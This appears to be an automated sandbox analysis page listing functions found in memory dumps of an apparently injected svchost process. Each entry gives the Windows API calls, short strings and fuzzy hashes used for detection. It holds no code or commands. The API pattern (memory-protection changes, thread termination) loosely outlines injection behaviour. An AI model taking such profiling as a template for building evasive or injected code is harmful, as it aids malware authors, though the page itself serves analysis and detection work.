Function 0000014E41FD9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000014E41FD9E49
GetLastError.KERNEL32 ref: 0000014E41FD9E57
LoadLibraryExW.KERNEL32 ref: 0000014E41FD9E81
FreeLibrary.KERNEL32 ref: 0000014E41FD9EC7
GetProcAddress.KERNEL32 ref: 0000014E41FD9ED3

Strings

api-ms-, xrefs: 0000014E41FD9E69

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03ee9c64fc4e5180bd68ea4e23d85fb7920b7978f1ef5f904570876798f634f1
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 80317231316A40A1EF169B82A4087E9A3D4BF48BA0F5D46259D1F87BA5DF39C5468330

Function 0000014E41FE3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000014E41FE3DE5
GetLastError.KERNEL32 ref: 0000014E41FE3DF1
CloseHandle.KERNEL32 ref: 0000014E41FE3E09
CreateFileW.KERNEL32 ref: 0000014E41FE3E34
WriteConsoleW.KERNEL32 ref: 0000014E41FE3E53

Strings

CONOUT$, xrefs: 0000014E41FE3E15

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 58d35a48e73ae5a6a2069cbe50502fe36390fdbaf60b5645c7a944c23e30e8f6
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 86116031318B8486EB608F52E858359B7E0FB88FE4F094225EA5EC77A4DF7CC5168750

Function 0000014E41FD3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000014E41FD379E
GetCurrentProcess.KERNEL32 ref: 0000014E41FD37CC
VirtualProtectEx.KERNEL32 ref: 0000014E41FD37EE
GetCurrentProcess.KERNEL32 ref: 0000014E41FD3809
VirtualProtectEx.KERNEL32 ref: 0000014E41FD382A

Strings

wr, xrefs: 0000014E41FD37FF

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 8310219fc58ae82eb0bcc7bfba685b767ad38c6a0f57641c290d7d667e99c083
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 80115B76708B4582EF549B21E5082A9B7F1FB88B95F490029DF8E877A4EF3DC506C724

Function 0000014E41FD5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E41FD5B6B
GetThreadContext.KERNEL32 ref: 0000014E41FD5CD5

Part of subcall function 0000014E41FD5960: GetCurrentThreadId.KERNEL32 ref: 0000014E41FD5964

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 07ea2566a821138ba5b41bcd2566ad333a6cc9f6e2a32e52345a153ce6aaa6b8
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 61D18D76209B8881DE709B16E4943AAB7F0F788B84F144216EACE87B75DF7CC552CB50

Function 0000014E41FD2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E41FD2F27
HeapAlloc.KERNEL32 ref: 0000014E41FD2F3A
StrCmpNIW.SHLWAPI ref: 0000014E41FD2FAF
GetProcessHeap.KERNEL32 ref: 0000014E41FD3015
HeapFree.KERNEL32 ref: 0000014E41FD3023

Strings

dialer, xrefs: 0000014E41FD2FA8

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 64828584eb3bfdbaceddc1153c386e701d38d80c8c2db94475a50a70e660af8b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 48317832705B5582FF15CF56A9487AAA7E0BF44B94F0C85249E4A87B65EB38C4A38360

Function 0000014E41FD14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E41FD14C5
HeapFree.KERNEL32 ref: 0000014E41FD14D4
GetProcessHeap.KERNEL32 ref: 0000014E41FD14E1
HeapFree.KERNEL32 ref: 0000014E41FD14F0
GetProcessHeap.KERNEL32 ref: 0000014E41FD1500

Strings

C:\Windows\system32\svchost.exe, xrefs: 0000014E41FE61A9, 0000014E41FE61B1

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\svchost.exe
API String ID: 3168794593-4180442734
Opcode ID: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction ID: 1ea6c2aa508163f35958e79cb2a9901d7fd2f010a3072b3d942776ec3241fee8
Opcode Fuzzy Hash: 335002606d0c58216c4b7b8c214cf2e956f7ef49abbb5e195d674a66fc258290
Instruction Fuzzy Hash: D021917B60CBD88AEB52DF2598592DDABE1FB49F64F0E4016DB45C3363DA2DC4068720

Function 0000014E41FDCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000014E41FDCFAF
FlsSetValue.KERNEL32(?,?,?,0000014E41FDD6B5,?,?,?,?,0000014E41FDD778), ref: 0000014E41FDCFE5
FlsSetValue.KERNEL32(?,?,?,0000014E41FDD6B5,?,?,?,?,0000014E41FDD778), ref: 0000014E41FDD012
FlsSetValue.KERNEL32(?,?,?,0000014E41FDD6B5,?,?,?,?,0000014E41FDD778), ref: 0000014E41FDD023
FlsSetValue.KERNEL32(?,?,?,0000014E41FDD6B5,?,?,?,?,0000014E41FDD778), ref: 0000014E41FDD034
SetLastError.KERNEL32 ref: 0000014E41FDD04F

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4c605ab0eebe7c8a65e16142fd15fb062952cf9a22b794a22443e09c107b39ea
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 9511063030528042FE64A735955D7F9A3D2BF847F0F1C4729A92BC6AFAEE69C4039620

Function 0000014E41FD199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000014E41FD19C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000014E41FD19E0
PathFindFileNameW.SHLWAPI ref: 0000014E41FD19EF
lstrlenW.KERNEL32 ref: 0000014E41FD19FB
StrCpyW.SHLWAPI ref: 0000014E41FD1A0E
CloseHandle.KERNEL32 ref: 0000014E41FD1A1C

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 45260b5053477a1902ed5b314b8ddb3b202787d03d162f4498fe3015baeaf19a
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 0B012931308B4486EB64DB52A85C799A3E5FB88FD4F894035DE4A83765DF3CC98AC760

Function 0000014E41FD36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000014E41FD36E4
GetCurrentProcess.KERNEL32 ref: 0000014E41FD36F2
VirtualProtectEx.KERNEL32 ref: 0000014E41FD3714
GetCurrentProcess.KERNEL32 ref: 0000014E41FD3732
VirtualProtectEx.KERNEL32 ref: 0000014E41FD3753
TerminateThread.KERNEL32 ref: 0000014E41FD3762

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 27845c9942124fe15b1c72357d23f614dfff2e05e98621f38ac1f8b99baeb5ad
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 44011B75315B4482FF259B61E81C3A9A7F1BF45B96F090429CA4E87774EF3DC10A8720

Function 0000014E41FD9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FD9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E41FD90A8
RtlUnwindEx.NTDLL ref: 0000014E41FD90F7

Strings

csm, xrefs: 0000014E41FD908E
f, xrefs: 0000014E41FD9026

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: a1bf88d4b9d8004459b5fa9669b2167566428502909aa59e78964a9a5b042688
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 8951D63270160186EF14DF75E44CBB9B7D6FB45B98F598128DA1B83BA8DB75C842C720

Function 0000014E41FD8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FD9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E41FD90A8
RtlUnwindEx.NTDLL ref: 0000014E41FD90F7

Strings

csm, xrefs: 0000014E41FD908E
f, xrefs: 0000014E41FD9026

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 6bc827c4c3bb3e0c98ca9239eca2c50e04eb8a87f0c80140b29f13db2d6fb965
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 2631D43230074096EF14DF61E84C7A9B7E5FB44B98F098118EE5B83BA9DB39C942C724

Function 0000014E41FD1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000014E41FD1A60
StrCmpNIW.SHLWAPI ref: 0000014E41FD1A7A
lstrlenW.KERNEL32 ref: 0000014E41FD1A89
StrCpyW.SHLWAPI ref: 0000014E41FD1A9E

Strings

\\?\, xrefs: 0000014E41FD1A6E

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b12ca8b25fa5122955bb982c68454bcc7e018bb98c49cc1ed73afc7e3ae07854
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 30F0493270874591EF608B51F888799A7E0FB48B98F884120DA4986A64DF3CC64FC710

Function 0000014E41FDBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000014E41FDBCBD
GetProcAddress.KERNEL32 ref: 0000014E41FDBCD3
FreeLibrary.KERNEL32 ref: 0000014E41FDBCFA

Strings

CorExitProcess, xrefs: 0000014E41FDBCCC
mscoree.dll, xrefs: 0000014E41FDBCB4

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 035e3789f53f373a927057afabb0f361c24ef996c6f03b6afc748e9683801fc8
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 9FF06271319B0881EF148F24E44C3A9A3A0FF89775F590319CA6A853F4CF2CC1468760

Function 0000014E41FD3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000014E41FD3066
StrCpyW.SHLWAPI ref: 0000014E41FD3076
StrCatW.SHLWAPI ref: 0000014E41FD3082
PathCombineW.SHLWAPI ref: 0000014E41FD3090

Strings

\\.\pipe\, xrefs: 0000014E41FD305C

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: cc80a717613b9aef5249e127a8ce4b2df5163e301108ee4070d8aa47fa087152
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A7F05E70308B8482EF108B12B90C1A9A3A1BF48FE4F0D4120EE4A87B28DE2CC4468720

Function 0000014E41FD50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E41FD5156

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 742035003ab41573749cbaf50ab97c77026f2c65be4dc385caaa5c533d93989b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7402B432219B8486EB60CB59E4943AAB7F0F7C5794F144116EA8E87BB8DF7CD485CB10

Function 0000014E41FD5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E41FD5726

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 4debb5f53ed61f6123289aa0e5a7e5e44eede09a84607efc51eced9d514b7eed
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: B561A736619A84C6EB60CB15E44836AB7F0F788784F140216EA8E87BB8DB7CD456CB10

Function 0000014E41FB3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014E41FB352C
_set_statfp.LIBCMT ref: 0000014E41FB3547
_set_statfp.LIBCMT ref: 0000014E41FB3563
_set_statfp.LIBCMT ref: 0000014E41FB359F

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: ead154b9435ffe6a454870689a50e6f6704023e04e4d2936ba47f9ea0b1d783b
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0711A0B2BD0E1351FEA41569E75E3E993C07FD8374F4C8628A966862F7CA28C8474230

Function 0000014E41FE4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014E41FE412C
_set_statfp.LIBCMT ref: 0000014E41FE4147
_set_statfp.LIBCMT ref: 0000014E41FE4163
_set_statfp.LIBCMT ref: 0000014E41FE419F

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: e72965eb51f99d8a0ac95fcd431345854843bb65debfdf1bdb0de3510e35bf29
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6E118F32B58B5011FF665568D45D3E593C17FA83A8E0F062CA976C67F68A2CC9438224

Function 0000014E41FAF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000014E41FAF124

Strings

Tuesday, xrefs: 0000014E41FAF0F4
Wednesday, xrefs: 0000014E41FAF1ED
or copy constructor iterator', xrefs: 0000014E41FAF25A, 0000014E41FAF275

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 9afa7e71d04fa23ee4952312235bac51a1d74b63e64a95d112a04740b73905c4
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 45614C7670064042FE659B65E58C3EEEBE1BF867C0F5D4515DA0A9BFB4EA3CD8438220

Function 0000014E41FDAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000014E41FDAA68
_CallSETranslator.LIBVCRUNTIME ref: 0000014E41FDAAB7

Strings

RCC, xrefs: 0000014E41FDAA85
MOC, xrefs: 0000014E41FDAA7C

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 0789a3831c1f6d771d65473aec04d891a6e65c0c978cd43e319f5209d2f070c5
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F7614833705B848AEB209F65D4443EDB7E0FB84B98F084215EE4A57BA8DB38D596C714

Function 0000014E41FAA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FAA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014E41FAA288

Strings

csm, xrefs: 0000014E41FAA2DA
csm, xrefs: 0000014E41FAA1C2

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9fc2ac829e4d419cfb4e4e7491d5e77e61521fb2b31f7c138b84e684f10f9101
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: E0516E32200380CAEF648B659548398B7E0FB55BD4F1C4116DA9DC7FA5CB7ED466CB20

Function 0000014E41FDAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FDADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014E41FDAE88

Strings

csm, xrefs: 0000014E41FDAEDA
csm, xrefs: 0000014E41FDADC2

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 321aa2bf97eac6cafb4f774fd1c13e020d27b9bfb404d6bee772e39a7e361af9
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 54516E722003808AEF648F26D5883A9B7E0FB94B95F1C4255DA9E87BE5CB38D453C718

Function 0000014E41FA8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E41FA84A8

Strings

csm, xrefs: 0000014E41FA848E
f, xrefs: 0000014E41FA8426

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 0bce45575947cd2407113779943a525e14445a621b98b0471fe801dac2351894
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: C951B4327412008EDF54CB15D40CB98B7E5FB94BE9F9C8124DE8683B6CE7B8D8428724

Function 0000014E41FA83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E41FA8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E41FA84A8

Strings

csm, xrefs: 0000014E41FA848E
f, xrefs: 0000014E41FA8426

Memory Dump Source

Source File: 0000003F.00000002.3436459719.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fa0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: c159a0ba046949333dfa247496e2d25aa9719a0157f25d5229989bbc026eab31
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A2319E313416409AEB14DF11E848799B7E4FB44BD9F9D8018EE9B83BA8DB7CD942C724

Function 0000014E41FE2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000014E41FE20D7
WriteFile.KERNEL32 ref: 0000014E41FE239F
WriteFile.KERNEL32 ref: 0000014E41FE23E5
GetLastError.KERNEL32 ref: 0000014E41FE249B

Memory Dump Source

Source File: 0000003F.00000002.3436526303.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_63_2_14e41fd0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
